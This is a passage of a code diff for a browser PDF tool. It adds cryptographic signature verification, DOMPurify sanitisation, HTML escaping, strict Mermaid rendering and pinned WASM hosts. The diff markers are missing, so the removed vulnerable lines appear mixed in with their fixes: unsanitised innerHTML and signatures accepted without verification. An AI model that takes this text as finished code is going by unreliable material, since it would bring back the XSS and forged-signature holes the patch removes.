signature: getSignatureAlgorithmName(signerCert.signatureOid || ''),
};
if (digestOid && INSECURE_DIGEST_OIDS.has(digestOid)) {
result.usesInsecureDigest = true;
}
// Parse signing time if available in signature
if (signature.signingTime) {
result.signatureDate = new Date(signature.signingTime);
} else {
// Try to extract from authenticated attributes
try {
if (p7.rawCapture?.authenticatedAttributes) {
for (const attr of p7.rawCapture.authenticatedAttributes) {
if (attr.type === forge.pki.oids.signingTime) {
result.signatureDate = attr.value;
const attrs = p7.rawCapture?.authenticatedAttributes;
if (attrs) {
for (const attrNode of attrs) {
const attrChildren = attrNode.value;
if (!Array.isArray(attrChildren) || attrChildren.length < 2)
continue;
const oidNode = attrChildren[0];
const setNode = attrChildren[1];
if (!oidNode || oidNode.type !== forge.asn1.Type.OID) continue;
const oid = forge.asn1.derToOid(oidNode.value as string);
if (oid === forge.pki.oids.signingTime) {
const setValue = setNode?.value;
if (Array.isArray(setValue) && setValue[0]) {
const timeNode = setValue[0];
const timeStr = timeNode.value as string;
if (typeof timeStr === 'string' && timeStr.length > 0) {
result.signatureDate =
timeNode.type === forge.asn1.Type.UTCTIME
? forge.asn1.utcTimeToDate(timeStr)
: forge.asn1.generalizedTimeToDate(timeStr);
}
}
break;
}
}
@@ -190,7 +224,6 @@ export function validateSignature(
if (signature.byteRange && signature.byteRange.length === 4) {
const [, len1, start2, len2] = signature.byteRange;
const totalCovered = len1 + len2;
const expectedEnd = start2 + len2;
if (expectedEnd === pdfBytes.length) {
@@ -200,7 +233,27 @@ export function validateSignature(
}
}
result.isValid = true;
const verification = await performCryptoVerification(
p7,
pdfBytes,
signature.byteRange,
signerCert,
signerInfoFields
);
result.cryptoVerified = verification.status === 'verified';
result.cryptoVerificationStatus = verification.status;
if (verification.status === 'unsupported') {
result.unsupportedAlgorithmReason = verification.reason;
} else if (verification.status === 'failed') {
result.errorMessage =
verification.reason || 'Cryptographic verification failed';
}
result.isValid =
verification.status === 'verified' &&
result.coverageStatus !== 'unknown' &&
!result.usesInsecureDigest;
} catch (e) {
result.errorMessage =
e instanceof Error ? e.message : 'Failed to parse signature';
@@ -214,7 +267,9 @@ export async function validatePdfSignatures(
trustedCert?: forge.pki.Certificate
): Promise<SignatureValidationResult[]> {
const signatures = extractSignatures(pdfBytes);
return signatures.map((sig) => validateSignature(sig, pdfBytes, trustedCert));
return Promise.all(
signatures.map((sig) => validateSignature(sig, pdfBytes, trustedCert))
);
}
export function countSignatures(pdfBytes: Uint8Array): number {
@@ -262,3 +317,490 @@ function getSignatureAlgorithmName(oid: string): string {
};
return signatureAlgorithms[oid] || oid || 'Unknown';
}
interface SignerInfoFields {
digestOid: string;
authAttrs: forge.asn1.Asn1[] | null;
signatureBytes: string;
}
function extractSignerInfoFields(
p7: forge.pkcs7.PkcsSignedData & {
rawCapture?: {
digestAlgorithm?: string;
authenticatedAttributes?: forge.asn1.Asn1[];
signature?: string;
};
}
): SignerInfoFields | null {
const rc = p7.rawCapture;
if (!rc) return null;
const digestAlgorithmBytes = rc.digestAlgorithm;
const signatureBytes = rc.signature;
if (typeof digestAlgorithmBytes !== 'string' || !signatureBytes) return null;
return {
digestOid: forge.asn1.derToOid(digestAlgorithmBytes),
authAttrs: Array.isArray(rc.authenticatedAttributes)
? rc.authenticatedAttributes
: null,
signatureBytes,
};
}
function createMd(digestOid: string): forge.md.MessageDigest | null {
switch (digestOid) {
case forge.pki.oids.sha256:
return forge.md.sha256.create();
case forge.pki.oids.sha384:
return forge.md.sha384.create();
case forge.pki.oids.sha512:
return forge.md.sha512.create();
case forge.pki.oids.sha1:
return forge.md.sha1.create();
case forge.pki.oids.md5:
return forge.md.md5.create();
default:
return null;
}
}
function uint8ToLatin1(bytes: Uint8Array): string {
let out = '';
for (let i = 0; i < bytes.length; i++) {
out += String.fromCharCode(bytes[i]);
}
return out;
}
type CryptoVerificationResult =
| { status: 'verified' }
| { status: 'failed'; reason: string }
| { status: 'unsupported'; reason: string };
interface SigScheme {
kind: 'rsa-pkcs1' | 'rsa-pss' | 'ecdsa' | 'rsa-raw';
hashName: 'SHA-1' | 'SHA-256' | 'SHA-384' | 'SHA-512';
pssSaltLength?: number;
}
function latin1ToUint8(str: string): Uint8Array {
const out = new Uint8Array(str.length);
for (let i = 0; i < str.length; i++) out[i] = str.charCodeAt(i);
return out;
}
function hashNameFromOid(oid: string): SigScheme['hashName'] | null {
switch (oid) {
case '1.3.14.3.2.26':
return 'SHA-1';
case '2.16.840.1.101.3.4.2.1':
return 'SHA-256';
case '2.16.840.1.101.3.4.2.2':
return 'SHA-384';
case '2.16.840.1.101.3.4.2.3':
return 'SHA-512';
default:
return null;
}
}
function detectSigScheme(
signatureAlgorithmArr: forge.asn1.Asn1[] | undefined,
digestOid: string
): SigScheme | { unsupported: string } {
if (!signatureAlgorithmArr || signatureAlgorithmArr.length === 0) {
return { unsupported: 'Missing signatureAlgorithm' };
}
const oidNode = signatureAlgorithmArr[0];
if (!oidNode || oidNode.type !== forge.asn1.Type.OID) {
return { unsupported: 'Malformed signatureAlgorithm' };
}
const oid = forge.asn1.derToOid(oidNode.value as string);
const implicitHash = hashNameFromOid(digestOid);
switch (oid) {
case '1.2.840.113549.1.1.1':
return implicitHash
? { kind: 'rsa-pkcs1', hashName: implicitHash }
: { unsupported: `Unsupported digest OID ${digestOid}` };
case '1.2.840.113549.1.1.5':
return { kind: 'rsa-pkcs1', hashName: 'SHA-1' };
case '1.2.840.113549.1.1.11':
return { kind: 'rsa-pkcs1', hashName: 'SHA-256' };
case '1.2.840.113549.1.1.12':
return { kind: 'rsa-pkcs1', hashName: 'SHA-384' };
case '1.2.840.113549.1.1.13':
return { kind: 'rsa-pkcs1', hashName: 'SHA-512' };
case '1.2.840.113549.1.1.10': {
const params = parsePssParams(signatureAlgorithmArr[1]);
return {
kind: 'rsa-pss',
hashName: params.hashName,
pssSaltLength: params.saltLength,
};
}
case '1.2.840.10045.4.1':
return { kind: 'ecdsa', hashName: 'SHA-1' };
case '1.2.840.10045.4.3.2':
return { kind: 'ecdsa', hashName: 'SHA-256' };
case '1.2.840.10045.4.3.3':
return { kind: 'ecdsa', hashName: 'SHA-384' };
case '1.2.840.10045.4.3.4':
return { kind: 'ecdsa', hashName: 'SHA-512' };
case '1.2.840.10045.2.1':
return implicitHash
? { kind: 'ecdsa', hashName: implicitHash }
: { unsupported: `Unsupported digest OID ${digestOid}` };
default:
return { unsupported: `Unsupported signature algorithm OID ${oid}` };
}
}
function parsePssParams(paramsNode: forge.asn1.Asn1 | undefined): {
hashName: SigScheme['hashName'];
saltLength: number;
} {
const fallback = { hashName: 'SHA-1' as const, saltLength: 20 };
if (!paramsNode || !Array.isArray(paramsNode.value)) return fallback;
let hashName: SigScheme['hashName'] = 'SHA-1';
let saltLength = 20;
for (const item of paramsNode.value) {
if (item.tagClass !== forge.asn1.Class.CONTEXT_SPECIFIC) continue;
if (item.type === 0 && Array.isArray(item.value) && item.value[0]) {
const algoIdSeq = item.value[0];
if (Array.isArray(algoIdSeq.value) && algoIdSeq.value[0]) {
const hashOid = forge.asn1.derToOid(algoIdSeq.value[0].value as string);
const resolved = hashNameFromOid(hashOid);
if (resolved) hashName = resolved;
}
} else if (item.type === 2 && typeof item.value === 'string') {
let n = 0;
for (let i = 0; i < item.value.length; i++) {
n = (n << 8) | item.value.charCodeAt(i);
}
if (n > 0 && n < 1024) saltLength = n;
}
}
return { hashName, saltLength };
}
function extractSpkiDer(
p7: forge.pkcs7.PkcsSignedData & {
rawCapture?: { certificates?: forge.asn1.Asn1 };
}
): Uint8Array | null {
try {
const certsNode = p7.rawCapture?.certificates;
if (!certsNode || !Array.isArray(certsNode.value) || !certsNode.value[0]) {
return null;
}
const certAsn1 = certsNode.value[0];
if (!Array.isArray(certAsn1.value) || !certAsn1.value[0]) return null;
const tbs = certAsn1.value[0];
if (!Array.isArray(tbs.value)) return null;
let startIdx = 0;
if (
tbs.value[0] &&
tbs.value[0].tagClass === forge.asn1.Class.CONTEXT_SPECIFIC
) {
startIdx = 1;
}
const spkiAsn1 = tbs.value[startIdx + 5];
if (!spkiAsn1) return null;
return latin1ToUint8(forge.asn1.toDer(spkiAsn1).getBytes());
} catch {
return null;
}
}
function curveFromSpki(
spkiDer: Uint8Array
): { name: 'P-256' | 'P-384' | 'P-521'; coordBytes: number } | null {
try {
const spki = forge.asn1.fromDer(uint8ToLatin1(spkiDer));
if (!Array.isArray(spki.value) || !spki.value[0]) return null;
const algoId = spki.value[0];
if (!Array.isArray(algoId.value) || !algoId.value[1]) return null;
const params = algoId.value[1];
if (params.type !== forge.asn1.Type.OID) return null;
const oid = forge.asn1.derToOid(params.value as string);
if (oid === '1.2.840.10045.3.1.7') return { name: 'P-256', coordBytes: 32 };
if (oid === '1.3.132.0.34') return { name: 'P-384', coordBytes: 48 };
if (oid === '1.3.132.0.35') return { name: 'P-521', coordBytes: 66 };
return null;
} catch {
return null;
}
}
function ecdsaDerToP1363(
derSig: Uint8Array,
coordBytes: number
): Uint8Array | null {
try {
const parsed = forge.asn1.fromDer(uint8ToLatin1(derSig));
if (!Array.isArray(parsed.value) || parsed.value.length !== 2) return null;
const r = latin1ToUint8(parsed.value[0].value as string);
const s = latin1ToUint8(parsed.value[1].value as string);
const rStripped = r[0] === 0 && r.length > 1 ? r.slice(1) : r;
const sStripped = s[0] === 0 && s.length > 1 ? s.slice(1) : s;
if (rStripped.length > coordBytes || sStripped.length > coordBytes) {
return null;
}
const out = new Uint8Array(coordBytes * 2);
out.set(rStripped, coordBytes - rStripped.length);
out.set(sStripped, coordBytes * 2 - sStripped.length);
return out;
} catch {
return null;
}
}
async function verifyViaWebCrypto(
scheme: SigScheme,
spkiDer: Uint8Array,
signedBytes: Uint8Array,
signatureBytes: Uint8Array
): Promise<CryptoVerificationResult> {
const subtle =
typeof globalThis.crypto !== 'undefined' && globalThis.crypto.subtle
? globalThis.crypto.subtle
: null;
if (!subtle) {
return {
status: 'unsupported',
reason: 'Web Crypto API not available in this context',
};
}
const spki = new Uint8Array(spkiDer);
const signed = new Uint8Array(signedBytes);
const sig = new Uint8Array(signatureBytes);
try {
if (scheme.kind === 'rsa-pss') {
const key = await subtle.importKey(
'spki',
spki,
{ name: 'RSA-PSS', hash: scheme.hashName },
false,
['verify']
);
const ok = await subtle.verify(
{ name: 'RSA-PSS', saltLength: scheme.pssSaltLength ?? 32 },
key,
sig,
signed
);
return ok
? { status: 'verified' }
: {
status: 'failed',
reason:
'RSA-PSS signature does not verify against signer public key',
};
}
if (scheme.kind === 'ecdsa') {
const curve = curveFromSpki(spki);
if (!curve) {
return {
status: 'unsupported',
reason: 'Unsupported ECDSA curve in signer certificate',
};
}
const p1363 = ecdsaDerToP1363(sig, curve.coordBytes);
if (!p1363) {
return {
status: 'failed',
reason: 'Malformed ECDSA signature (could not parse r,s)',
};
}
const key = await subtle.importKey(
'spki',
spki,
{ name: 'ECDSA', namedCurve: curve.name },
false,
['verify']
);
const ok = await subtle.verify(
{ name: 'ECDSA', hash: scheme.hashName },
key,
new Uint8Array(p1363),
signed
);
return ok
? { status: 'verified' }
: {
status: 'failed',
reason: 'ECDSA signature does not verify against signer public key',
};
}
if (scheme.kind === 'rsa-pkcs1') {
const key = await subtle.importKey(
'spki',
spki,
{ name: 'RSASSA-PKCS1-v1_5', hash: scheme.hashName },
false,
['verify']
);
const ok = await subtle.verify('RSASSA-PKCS1-v1_5', key, sig, signed);
return ok
? { status: 'verified' }
: {
status: 'failed',
reason:
'RSA-PKCS1 signature does not verify against signer public key',
};
}
return {
status: 'unsupported',
reason: `Signature scheme ${scheme.kind} not implemented`,
};
} catch (e) {
return {
status: 'unsupported',
reason:
'Web Crypto import/verify failed: ' +
(e instanceof Error ? e.message : String(e)),
};
}
}
async function performCryptoVerification(
p7: forge.pkcs7.PkcsSignedData & {
rawCapture?: {
signatureAlgorithm?: forge.asn1.Asn1[];
certificates?: forge.asn1.Asn1;
};
},
pdfBytes: Uint8Array,
byteRange: number[],
signerCert: forge.pki.Certificate,
fields: SignerInfoFields | null
): Promise<CryptoVerificationResult> {
if (!fields) {
return { status: 'failed', reason: 'Could not parse signer info' };
}
if (byteRange.length !== 4) {
return { status: 'failed', reason: 'Malformed ByteRange' };
}
const md = createMd(fields.digestOid);
if (!md) {
return {
status: 'unsupported',
reason: `Unsupported digest OID ${fields.digestOid}`,
};
}
const [start1, len1, start2, len2] = byteRange;
if (
start1 < 0 ||
len1 < 0 ||
start2 < 0 ||
len2 < 0 ||
start1 + len1 > pdfBytes.length ||
start2 + len2 > pdfBytes.length
) {
return { status: 'failed', reason: 'ByteRange out of bounds' };
}
const signedContent = new Uint8Array(len1 + len2);
signedContent.set(pdfBytes.subarray(start1, start1 + len1), 0);
signedContent.set(pdfBytes.subarray(start2, start2 + len2), len1);
md.update(uint8ToLatin1(signedContent));
const contentHashBytes = md.digest().bytes();
const authAttrs = fields.authAttrs;
const signatureBytes = fields.signatureBytes;
if (!signatureBytes) {
return { status: 'failed', reason: 'Empty signature bytes' };
}
const scheme = detectSigScheme(
p7.rawCapture?.signatureAlgorithm,
fields.digestOid
);
if ('unsupported' in scheme) {
return { status: 'unsupported', reason: scheme.unsupported };
}
let messageDigestAttrValue: string | null = null;
let signedBytesForVerify: Uint8Array;
if (authAttrs) {
for (const attr of authAttrs) {
if (!attr.value || !Array.isArray(attr.value) || attr.value.length < 2)
continue;
const oidNode = attr.value[0];
const setNode = attr.value[1];
if (!oidNode || oidNode.type !== forge.asn1.Type.OID) continue;
const oid = forge.asn1.derToOid(oidNode.value as string);
if (oid === forge.pki.oids.messageDigest) {
if (
setNode?.value &&
Array.isArray(setNode.value) &&
setNode.value[0]
) {
messageDigestAttrValue = setNode.value[0].value as string;
}
break;
}
}
if (messageDigestAttrValue === null) {
return {
status: 'failed',
reason: 'messageDigest attribute missing from authenticated attributes',
};
}
if (messageDigestAttrValue !== contentHashBytes) {
return {
status: 'failed',
reason:
'Content hash does not match messageDigest attribute — PDF was modified after signing',
};
}
const asSet = forge.asn1.create(
forge.asn1.Class.UNIVERSAL,
forge.asn1.Type.SET,
true,
authAttrs
);
signedBytesForVerify = latin1ToUint8(forge.asn1.toDer(asSet).getBytes());
} else {
signedBytesForVerify = signedContent;
}
if (scheme.kind === 'rsa-pkcs1') {
try {
const publicKey = signerCert.publicKey as forge.pki.rsa.PublicKey;
const md2 = createMd(fields.digestOid)!;
md2.update(uint8ToLatin1(signedBytesForVerify));
const ok = publicKey.verify(md2.digest().bytes(), signatureBytes);
if (ok) return { status: 'verified' };
} catch {
// fall through to Web Crypto
}
}
const spkiDer = extractSpkiDer(p7);
if (!spkiDer) {
return {
status: 'unsupported',
reason: 'Could not extract signer public key',
};
}
return verifyViaWebCrypto(
scheme,
spkiDer,
signedBytesForVerify,
latin1ToUint8(signatureBytes)
);
}
+15 -11
View File
@@ -1,4 +1,5 @@
// NOTE: This is a work in progress and does not work correctly as of yet
import DOMPurify from 'dompurify';
import { showLoader, hideLoader, showAlert } from '../ui.js';
import { readFileAsArrayBuffer } from '../utils/helpers.js';
import { state } from '../state.js';
@@ -41,17 +42,20 @@ export async function wordToPdf() {
const downloadBtn = document.getElementById('preview-download-btn');
const closeBtn = document.getElementById('preview-close-btn');
const styledHtml = `
<style>
#preview-content { font-family: 'Times New Roman', Times, serif; font-size: 12pt; line-height: 1.5; color: black; }
#preview-content table { border-collapse: collapse; width: 100%; }
#preview-content td, #preview-content th { border: 1px solid #dddddd; text-align: left; padding: 8px; }
#preview-content img { max-width: 100%; height: auto; }
#preview-content a { color: #0000ee; text-decoration: underline; }
</style>
${html}
`;
previewContent.innerHTML = styledHtml;
const STYLE_ID = 'word-to-pdf-preview-style';
if (!document.getElementById(STYLE_ID)) {
const styleEl = document.createElement('style');
styleEl.id = STYLE_ID;
styleEl.textContent = `
#preview-content { font-family: 'Times New Roman', Times, serif; font-size: 12pt; line-height: 1.5; color: black; }
#preview-content table { border-collapse: collapse; width: 100%; }
#preview-content td, #preview-content th { border: 1px solid #dddddd; text-align: left; padding: 8px; }
#preview-content img { max-width: 100%; height: auto; }
#preview-content a { color: #0000ee; text-decoration: underline; }
`;
document.head.appendChild(styleEl);
}
previewContent.innerHTML = DOMPurify.sanitize(html);
const marginDiv = document.createElement('div');
marginDiv.style.height = '100px';
+9 -5
View File
@@ -5,7 +5,11 @@ import { createIcons, icons } from 'lucide';
import '@phosphor-icons/web/regular';
import * as pdfjsLib from 'pdfjs-dist';
import '../css/styles.css';
import { formatShortcutDisplay, formatStars } from './utils/helpers.js';
import {
escapeHtml,
formatShortcutDisplay,
formatStars,
} from './utils/helpers.js';
import {
initI18n,
applyTranslations,
@@ -1051,8 +1055,8 @@ const init = async () => {
await showWarningModal(
t('settings.warnings.alreadyInUse'),
`<strong>${displayCombo}</strong> ${t('settings.warnings.assignedTo')}<br><br>` +
`<em>"${translatedToolName}"</em><br><br>` +
`<strong>${escapeHtml(displayCombo)}</strong> ${t('settings.warnings.assignedTo')}<br><br>` +
`<em>"${escapeHtml(translatedToolName)}"</em><br><br>` +
t('settings.warnings.chooseDifferent'),
false
);
@@ -1071,8 +1075,8 @@ const init = async () => {
const displayCombo = formatShortcutDisplay(combo, isMac);
const shouldProceed = await showWarningModal(
t('settings.warnings.reserved'),
`<strong>${displayCombo}</strong> ${t('settings.warnings.commonlyUsed')}<br><br>` +
`"<em>${reservedWarning}</em>"<br><br>` +
`<strong>${escapeHtml(displayCombo)}</strong> ${t('settings.warnings.commonlyUsed')}<br><br>` +
`"<em>${escapeHtml(reservedWarning)}</em>"<br><br>` +
`${t('settings.warnings.unreliable')}<br><br>` +
t('settings.warnings.useAnyway')
);
+93 -37
View File
@@ -1,55 +1,111 @@
/**
* Service Worker Registration
* Registers the service worker to enable offline caching
*
*
* Note: Service Worker is disabled in development mode to prevent
* conflicts with Vite's HMR (Hot Module Replacement)
*/
// Skip service worker registration in development mode
const isDevelopment = window.location.hostname === 'localhost' ||
window.location.hostname === '127.0.0.1' ||
window.location.port !== '';
const isDevelopment =
window.location.hostname === 'localhost' ||
window.location.hostname === '127.0.0.1' ||
window.location.port !== '';
function collectTrustedWasmHosts(): string[] {
const hosts = new Set<string>();
const candidates = [
import.meta.env.VITE_WASM_PYMUPDF_URL,
import.meta.env.VITE_WASM_GS_URL,
import.meta.env.VITE_WASM_CPDF_URL,
import.meta.env.VITE_TESSERACT_WORKER_URL,
import.meta.env.VITE_TESSERACT_CORE_URL,
import.meta.env.VITE_TESSERACT_LANG_URL,
import.meta.env.VITE_OCR_FONT_BASE_URL,
];
for (const raw of candidates) {
if (!raw) continue;
try {
hosts.add(new URL(raw).origin);
} catch {
console.warn(
`[SW] Ignoring malformed VITE_* URL for SW trusted-hosts: ${raw}`
);
}
}
return Array.from(hosts);
}
function sendTrustedHostsToSw(target: ServiceWorker | null | undefined) {
if (!target) return;
const hosts = collectTrustedWasmHosts();
if (hosts.length === 0) return;
target.postMessage({ type: 'SET_TRUSTED_CDN_HOSTS', hosts });
}
if (isDevelopment) {
console.log('[Dev Mode] Service Worker registration skipped in development');
console.log('Service Worker will be active in production builds');
console.log('[Dev Mode] Service Worker registration skipped in development');
console.log('Service Worker will be active in production builds');
} else if ('serviceWorker' in navigator) {
window.addEventListener('load', () => {
const swPath = `${import.meta.env.BASE_URL}sw.js`;
console.log('[SW] Registering Service Worker at:', swPath);
navigator.serviceWorker
.register(swPath)
.then((registration) => {
console.log('[SW] Service Worker registered successfully:', registration.scope);
window.addEventListener('load', () => {
const swPath = `${import.meta.env.BASE_URL}sw.js`;
console.log('[SW] Registering Service Worker at:', swPath);
navigator.serviceWorker
.register(swPath)
.then((registration) => {
console.log(
'[SW] Service Worker registered successfully:',
registration.scope
);
setInterval(() => {
registration.update();
}, 24 * 60 * 60 * 1000);
sendTrustedHostsToSw(
registration.active || registration.waiting || registration.installing
);
registration.addEventListener('updatefound', () => {
const newWorker = registration.installing;
if (newWorker) {
newWorker.addEventListener('statechange', () => {
if (newWorker.state === 'installed' && navigator.serviceWorker.controller) {
console.log('[SW] New version available! Reload to update.');
setInterval(
() => {
registration.update();
},
24 * 60 * 60 * 1000
);
if (confirm('A new version of BentoPDF is available. Reload to update?')) {
newWorker.postMessage({ type: 'SKIP_WAITING' });
window.location.reload();
}
}
});
}
});
})
.catch((error) => {
console.error('[SW] Service Worker registration failed:', error);
registration.addEventListener('updatefound', () => {
const newWorker = registration.installing;
if (newWorker) {
newWorker.addEventListener('statechange', () => {
if (newWorker.state === 'activated') {
sendTrustedHostsToSw(newWorker);
}
if (
newWorker.state === 'installed' &&
navigator.serviceWorker.controller
) {
console.log('[SW] New version available! Reload to update.');
if (
confirm(
'A new version of BentoPDF is available. Reload to update?'
)
) {
newWorker.postMessage({ type: 'SKIP_WAITING' });
window.location.reload();
}
}
});
navigator.serviceWorker.addEventListener('controllerchange', () => {
console.log('[SW] New service worker activated, reloading...');
window.location.reload();
}
});
})
.catch((error) => {
console.error('[SW] Service Worker registration failed:', error);
});
navigator.serviceWorker.ready.then((registration) => {
sendTrustedHostsToSw(registration.active);
});
navigator.serviceWorker.addEventListener('controllerchange', () => {
console.log('[SW] New service worker activated, reloading...');
window.location.reload();
});
});
}
+41 -37
View File
@@ -1,47 +1,51 @@
import forge from 'node-forge';
export interface SignatureValidationResult {
signatureIndex: number;
isValid: boolean;
signerName: string;
signerOrg?: string;
signerEmail?: string;
issuer: string;
issuerOrg?: string;
signatureDate?: Date;
validFrom: Date;
validTo: Date;
isExpired: boolean;
isSelfSigned: boolean;
isTrusted: boolean;
algorithms: {
digest: string;
signature: string;
};
serialNumber: string;
reason?: string;
location?: string;
contactInfo?: string;
byteRange?: number[];
coverageStatus: 'full' | 'partial' | 'unknown';
errorMessage?: string;
signatureIndex: number;
isValid: boolean;
signerName: string;
signerOrg?: string;
signerEmail?: string;
issuer: string;
issuerOrg?: string;
signatureDate?: Date;
validFrom: Date;
validTo: Date;
isExpired: boolean;
isSelfSigned: boolean;
isTrusted: boolean;
algorithms: {
digest: string;
signature: string;
};
serialNumber: string;
reason?: string;
location?: string;
contactInfo?: string;
byteRange?: number[];
coverageStatus: 'full' | 'partial' | 'unknown';
errorMessage?: string;
cryptoVerified?: boolean;
cryptoVerificationStatus?: 'verified' | 'failed' | 'unsupported';
unsupportedAlgorithmReason?: string;
usesInsecureDigest?: boolean;
}
export interface ExtractedSignature {
index: number;
contents: Uint8Array;
byteRange: number[];
reason?: string;
location?: string;
contactInfo?: string;
name?: string;
signingTime?: string;
index: number;
contents: Uint8Array;
byteRange: number[];
reason?: string;
location?: string;
contactInfo?: string;
name?: string;
signingTime?: string;
}
export interface ValidateSignatureState {
pdfFile: File | null;
pdfBytes: Uint8Array | null;
results: SignatureValidationResult[];
trustedCertFile: File | null;
trustedCert: forge.pki.Certificate | null;
pdfFile: File | null;
pdfBytes: Uint8Array | null;
results: SignatureValidationResult[];
trustedCertFile: File | null;
trustedCert: forge.pki.Certificate | null;
}
+9 -23
View File
@@ -4,6 +4,7 @@ import { showLoader, hideLoader, showAlert } from '../ui.js';
import { createIcons } from 'lucide';
import { state, resetState } from '../state.js';
import * as pdfjsLib from 'pdfjs-dist';
import DOMPurify from 'dompurify';
import type { DocumentInitParameters } from 'pdfjs-dist/types/src/display/api';
const STANDARD_SIZES = {
@@ -319,19 +320,12 @@ export function uint8ArrayToBase64(bytes: Uint8Array): string {
export function sanitizeEmailHtml(html: string): string {
if (!html) return html;
let sanitized = html;
let sanitized = DOMPurify.sanitize(html, {
FORBID_TAGS: ['style', 'link', 'script', 'iframe', 'object', 'embed'],
FORBID_ATTR: ['style'],
ALLOW_DATA_ATTR: false,
});
sanitized = sanitized.replace(/<head[^>]*>[\s\S]*?<\/head>/gi, '');
sanitized = sanitized.replace(/<style[^>]*>[\s\S]*?<\/style>/gi, '');
sanitized = sanitized.replace(/<script[^>]*>[\s\S]*?<\/script>/gi, '');
sanitized = sanitized.replace(/<link[^>]*>/gi, '');
sanitized = sanitized.replace(/\s+style=["'][^"']*["']/gi, '');
sanitized = sanitized.replace(/\s+class=["'][^"']*["']/gi, '');
sanitized = sanitized.replace(/\s+data-[a-z-]+=["'][^"']*["']/gi, '');
sanitized = sanitized.replace(
/<img[^>]*(?:width=["']1["'][^>]*height=["']1["']|height=["']1["'][^>]*width=["']1["'])[^>]*\/?>/gi,
''
);
sanitized = sanitized.replace(
/href=["']https?:\/\/[^"']*safelinks\.protection\.outlook\.com[^"']*url=([^&"']+)[^"']*["']/gi,
(match, encodedUrl) => {
@@ -343,10 +337,9 @@ export function sanitizeEmailHtml(html: string): string {
}
}
);
sanitized = sanitized.replace(/\s+originalsrc=["'][^"']*["']/gi, '');
sanitized = sanitized.replace(
/href=["']([^"']{500,})["']/gi,
(match, url) => {
(_match, url: string) => {
const baseUrl = url.split('?')[0];
if (baseUrl && baseUrl.length < 200) {
return `href="${baseUrl}"`;
@@ -354,15 +347,12 @@ export function sanitizeEmailHtml(html: string): string {
return `href="${url.substring(0, 200)}"`;
}
);
sanitized = sanitized.replace(
/\s+(cellpadding|cellspacing|bgcolor|border|valign|align|width|height|role|dir|id)=["'][^"']*["']/gi,
/<img[^>]*(?:width=["']1["'][^>]*height=["']1["']|height=["']1["'][^>]*width=["']1["'])[^>]*\/?>/gi,
''
);
sanitized = sanitized.replace(/<\/?table[^>]*>/gi, '<div>');
sanitized = sanitized.replace(/<\/?tbody[^>]*>/gi, '');
sanitized = sanitized.replace(/<\/?thead[^>]*>/gi, '');
sanitized = sanitized.replace(/<\/?tfoot[^>]*>/gi, '');
sanitized = sanitized.replace(/<\/?(tbody|thead|tfoot)[^>]*>/gi, '');
sanitized = sanitized.replace(/<tr[^>]*>/gi, '<div>');
sanitized = sanitized.replace(/<\/tr>/gi, '</div>');
sanitized = sanitized.replace(/<td[^>]*>/gi, '<span> ');
@@ -373,10 +363,6 @@ export function sanitizeEmailHtml(html: string): string {
sanitized = sanitized.replace(/<span>\s*<\/span>/gi, '');
sanitized = sanitized.replace(/(<div>)+/gi, '<div>');
sanitized = sanitized.replace(/(<\/div>)+/gi, '</div>');
sanitized = sanitized.replace(
/<a[^>]*href=["']\s*["'][^>]*>([^<]*)<\/a>/gi,
'$1'
);
const MAX_HTML_SIZE = 100000;
if (sanitized.length > MAX_HTML_SIZE) {
+11 -4
View File
@@ -1,4 +1,5 @@
import MarkdownIt from 'markdown-it';
import DOMPurify from 'dompurify';
import hljs from 'highlight.js/lib/core';
import javascript from 'highlight.js/lib/languages/javascript';
import typescript from 'highlight.js/lib/languages/typescript';
@@ -297,7 +298,7 @@ export class MarkdownEditor {
mermaid.initialize({
startOnLoad: false,
theme: 'default',
securityLevel: 'loose',
securityLevel: 'strict',
fontFamily:
'-apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial, sans-serif',
});
@@ -691,7 +692,9 @@ export class MarkdownEditor {
const markdown = this.editor.value;
const html = this.md.render(markdown);
this.preview.innerHTML = html;
this.preview.innerHTML = DOMPurify.sanitize(html, {
ADD_ATTR: ['target'],
});
this.renderMermaidDiagrams();
}
@@ -714,7 +717,9 @@ export class MarkdownEditor {
const wrapper = document.createElement('div');
wrapper.className = 'mermaid-diagram';
wrapper.innerHTML = svg;
wrapper.innerHTML = DOMPurify.sanitize(svg, {
USE_PROFILES: { svg: true, svgFilters: true },
});
pre.replaceWith(wrapper);
} catch (error) {
@@ -740,7 +745,9 @@ export class MarkdownEditor {
}
public getHtml(): string {
return this.md.render(this.getContent());
return DOMPurify.sanitize(this.md.render(this.getContent()), {
ADD_ATTR: ['target'],
});
}
private exportPdf(): void {
+75 -5
View File
@@ -10,8 +10,8 @@ const STORAGE_KEY = 'bentopdf:wasm-providers';
const CDN_DEFAULTS: Record<WasmPackage, string> = {
pymupdf: 'https://cdn.jsdelivr.net/npm/@bentopdf/[email protected]/',
ghostscript: 'https://cdn.jsdelivr.net/npm/@bentopdf/gs-wasm/assets/',
cpdf: 'https://cdn.jsdelivr.net/npm/coherentpdf/dist/',
ghostscript: 'https://cdn.jsdelivr.net/npm/@bentopdf/gs-wasm@0.1.1/assets/',
cpdf: 'https://cdn.jsdelivr.net/npm/coherentpdf@2.5.5/dist/',
};
function envOrDefault(envVar: string | undefined, fallback: string): string {
@@ -30,20 +30,77 @@ const ENV_DEFAULTS: Record<WasmPackage, string> = {
cpdf: envOrDefault(import.meta.env.VITE_WASM_CPDF_URL, CDN_DEFAULTS.cpdf),
};
function hostnameOf(url: string): string | null {
try {
return new URL(url).hostname;
} catch {
return null;
}
}
function collectBuiltinTrustedHosts(): Set<string> {
const hosts = new Set<string>();
if (typeof location !== 'undefined' && location.hostname) {
hosts.add(location.hostname);
}
for (const url of Object.values(CDN_DEFAULTS)) {
const h = hostnameOf(url);
if (h) hosts.add(h);
}
for (const url of Object.values(ENV_DEFAULTS)) {
const h = hostnameOf(url);
if (h) hosts.add(h);
}
return hosts;
}
const BUILTIN_TRUSTED_HOSTS = collectBuiltinTrustedHosts();
class WasmProviderManager {
private config: WasmProviderConfig;
private validationCache: Map<WasmPackage, boolean> = new Map();
private trustedHosts: Set<string> = new Set<string>(BUILTIN_TRUSTED_HOSTS);
constructor() {
this.config = this.loadConfig();
}
private isTrustedUrl(url: string): boolean {
const host = hostnameOf(url);
return !!host && this.trustedHosts.has(host);
}
private loadConfig(): WasmProviderConfig {
try {
const stored = localStorage.getItem(STORAGE_KEY);
if (stored) {
return JSON.parse(stored);
if (!stored) return {};
const parsed = JSON.parse(stored) as WasmProviderConfig;
const safe: WasmProviderConfig = {};
let dropped = false;
for (const key of ['pymupdf', 'ghostscript', 'cpdf'] as WasmPackage[]) {
const url = parsed[key];
